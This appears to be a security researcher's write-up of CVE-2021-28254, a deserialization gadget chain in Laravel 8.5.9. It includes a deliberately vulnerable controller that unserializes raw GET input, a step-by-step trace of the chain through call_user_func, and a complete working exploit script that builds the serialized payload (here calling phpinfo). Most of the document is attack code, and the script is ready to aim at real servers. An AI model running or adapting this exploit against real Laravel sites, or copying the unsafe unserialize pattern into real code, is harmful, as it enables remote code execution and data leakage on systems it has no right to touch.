Headline
CVE-2021-28254: Laravel8 new pop chain mining process
A deserialization vulnerability in the destruct() function of Laravel v8.5.9 allows attackers to execute arbitrary commands.
Installation method:
1
composer create-project laravel/laravel=8.5.9 laravel8
Manually add deserialization point:
/routes/web.php:
1
2
3
<?php
Route::get(“/","\App\Http\Controllers\DemoController@demo”);
?>
Add democontroller controller under app/Http/Controllers/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET[‘c’])){
$code = $_GET[‘c’];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
}
}
The results are as follows:
New version of laravel pop chain process:
The destruct function is used to cut in under the class illuminate\broadcasting\pendingbroadcast;
1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}
To call the dispatch method under the illuminate\bus\dispatcher class;
1
2
3
4
5
6
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}
Controls the queueresolver and command variables;make them true,so we can see dispatchToQueue function
1
2
3
4
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
Obviously, the shouldqueue interface class needs to be inherited;We found the class Illuminate\Broadcasting\BroadcastEvent globally;
1
class BroadcastEvent implements ShouldQueue
After successfully entering the corresponding method, we audit the method;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call\_user\_func($this\->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method\_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this\->pushCommandToQueue($queue, $command);
}
Notice the call_user_func method, we find that both the queueresolver parameter and the connection parameter are controllable;Because call_user__func,We can make the first parameter an array,So as to call the corresponding method under the corresponding class;
Here I use the__ Invoke method from Illuminate\View\InvokableComponentVariable;Because the parameters of this method are controllable, you can also call sensitive functions
1
2
3
4
5
public function __invoke()
{
return call_user_func($this->callable);
}
Here we can control the callable; we can directly pass in the sensitive function to execute it;
exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting
{
class BroadcastEvent
{
protected $connection;
public function __construct($connection){
$this->connection = $connection;
}
}
}
namespace Illuminate\View{
class InvokableComponentVariable{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace{
$d = new Illuminate\View\InvokableComponentVariable(‘phpinfo’);
$c = new Illuminate\Broadcasting\BroadcastEvent(true);
$b = new Illuminate\Bus\Dispatcher(array($d,’__invoke’));
$a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
echo urlencode(serialize($a));
}
It can cause function execution and information leakage;